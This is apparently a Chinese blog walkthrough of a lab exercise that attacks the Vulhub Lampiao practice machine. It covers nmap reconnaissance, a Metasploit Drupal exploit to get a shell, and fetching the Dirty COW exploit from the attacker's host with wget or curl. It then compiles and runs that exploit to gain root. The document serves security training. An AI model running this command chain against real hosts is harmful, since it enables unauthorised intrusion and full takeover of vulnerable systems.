Linux系统提权

Linux系统提权

主题:脏牛漏洞提权

环境准备:靶场:Vulhub Lampiao(脏牛漏洞),Ubuntu-19.04-desktop-amd64.iso(用于sudo命令提权测试)

目标:目前只拥有Linux主机的普通用户权限,如何才能够获得系统root权限

脏牛漏洞的概念:它是一种存在于linux操作系统中的本地提权漏洞,共分为1.0和2.0的版本,当Linux系统内核版本高于4.8以上时,使用脏牛2.0版本;当Linux系统内核版本低于4.8时,则使用1.0版本。

那它的原理又是怎样的?

当一个进程正在尝试修改其映射的只读内存页面时,另一个进程也在同时访问此页面。在这样的情况下内核可能会出现一种"竞争条件",这种条件导致两个进程都能看到对方的修改,甚至可能覆盖对方的数据。这就为攻击者提供了机会,使其能够在没有权限限制的情况下,通过构造特殊的操作序列,使正在运行的程序以更高的权限执行命令,从而达到提权的效果。**

攻击步骤复现:

  1. 打开Vulhub Lampiao虚拟机,可以看到Linux标志性的黑窗口:
  1. 在不知晓登录账号密码的情况下,尝试信息收集查找突破口,回到Kali Linux中执行nmap命令对同网段进行ip和端口扫描:

nmap 192.168.78.0/24

根据自己的虚拟机网段查看主机ip: 192.168.78.1为物理机ip,192.168.78.130为kali linux虚拟机ip,可疑的只有192.168.78.142这台。接下来就可以针对这台主机进行全端口扫描:

nmap -p- 192.168.78.142

  1. 可以看到全端口扫描能够扫出普通扫描扫不出的端口,注意这边有一个1898端口是open状态。尝试打开浏览器访问192.168.78.142:1898

这边出现一个登录窗口,可以往CMS架构方向突破,那接下来该寻找哪些关键信息?滚动到页面最底处,看到Power By Drupal,可以断定该网站就是Drupal的架构。

  1. 利用msfconsole漏洞框架利用工具控制台,搜索Drupal的有关漏洞利用信息:

Name列包含auxiliary的代表是检测漏洞模块,exploit则是实际攻击模块,在此选择一个较新的攻击模块:

msf6 > use 1

show options

每次攻击前需要确认所有Required = Yes处的选项设置,这里需要设置目标靶机的ip和端口,刚才的信息收集中得到ip=192.168.78.142,port=1898。

set RHOSTS 192.168.78.142

set RPORT 1898

show options

设置完成后再次确认选项是否就绪:

run

运行后发现会话已经建立:

meterpreter > shell

Process 2364 created.

Channel 0 created.

这个时候其实已经通过msf连入了目标靶机服务器的shell了,我们可以通过python语句呼出交互式终端:

python -c 'import pty; pty.spawn("/bin/bash")'

  1. 查看Linux内核命令版本,选择对应的脏牛版本:

这里是4.4的版本,那我们使用脏牛1.0版本进行提权。

到这一步,我们的目标是把本地的Dirty.cpp文件上传到目标靶机上去。有一个问题,那就是不能直接从物理主机(windows)上传文件到目标靶机,它们之间没有任何联络,原因是我并不知道Ubuntu靶机的root账号密码,无法启动ssh随即通过XFTP共享文件。 但是物理主机和Kali Linux虚拟机是我可控的,因此我先把文件上传到Kali Linux的Apache网站根目录/var/www/html/,再通过msf已建立的shell会话使用wget下载到靶机本地,相当于靶机向Kali Linux请求下载文件。

wget http://192.168.78.130:80/Dirty.cpp 或者

curl http://192.168.78.130:80/Dirty.cpp -o Dirty.cpp

此时在靶机得/tmp目录下已经成功保存Dirty.cpp文件。

  1. 由于.cpp为(C/C++)语言文件,在Linux系统中需要通过编译才能运行:

g++ -wall -pedantic -O2 -std=C++11 -pthread -o dcow Dirty.cpp -lutil

编译完成后,在同目录会生成一个dcow文件,能够直接被Linux系统执行:

  1. 执行语句进行提权:

./dcow -s

成功执行,喜提root权限。

【扩展学习】脏牛2.0版本复现步骤 www.cnblogs.com/nanhe7/arti...

【复现步骤总结】

  1. 搭建靶场,信息收集ip和port;
  2. 尝试访问,进一步获得产品关键信息Drupal;
  3. 启动msfconsole,搜索关于Drupal漏洞利用信息;
  4. 设置参数,执行获得靶机shell;
  5. 查看内核版本,挑选脏牛版本,上传文件;
  6. 编译后执行,提权成功。

如果可以尽量避免使用脏牛漏洞,原因是它可能会使计算机崩溃或使其处于不稳定状态。

相关推荐
虹科网络安全1 分钟前
艾体宝洞察 | 利用“隐形字符”的钓鱼邮件:传统防御为何失效,AI安全意识培训如何补上最后一道防线
运维·网络·安全
冰敷逆向2 小时前
苏宁滑块VMP深入剖析(一):解混淆篇
javascript·爬虫·安全·web
小五传输3 小时前
隔离网闸的作用是什么?新型网闸如何构筑“数字护城河”?
大数据·运维·安全
石像鬼₧魂石4 小时前
内网渗透是网络安全渗透测试
安全·web安全
Neolnfra6 小时前
渗透测试标准化流程
开发语言·安全·web安全·http·网络安全·https·系统安全
奋飞安全7 小时前
给你的Ida插上翅膀
安全·逆向
llxxyy卢8 小时前
逻辑越权之找回机制接口安全
安全
pusheng20258 小时前
普晟传感直播预告 |重塑安全边界:储能与AI数据中心的锂电风险、气体探测技术革新与可量化风险管控
人工智能·安全
云计算练习生8 小时前
渗透测试行业术语扫盲(第十六篇)—— 红蓝对抗与演练类
网络·安全·网络安全·信息安全·渗透测试术语
KKKlucifer8 小时前
数据湖赋能 SIEM:下一代安全运营的技术融合与实践
安全